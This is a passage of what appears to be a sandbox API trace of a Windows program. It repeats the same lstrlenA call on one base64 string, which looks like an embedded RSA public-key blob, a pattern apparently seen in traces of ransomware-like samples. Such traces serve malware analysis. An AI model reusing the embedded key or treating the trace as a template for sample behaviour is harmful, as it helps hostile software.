	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
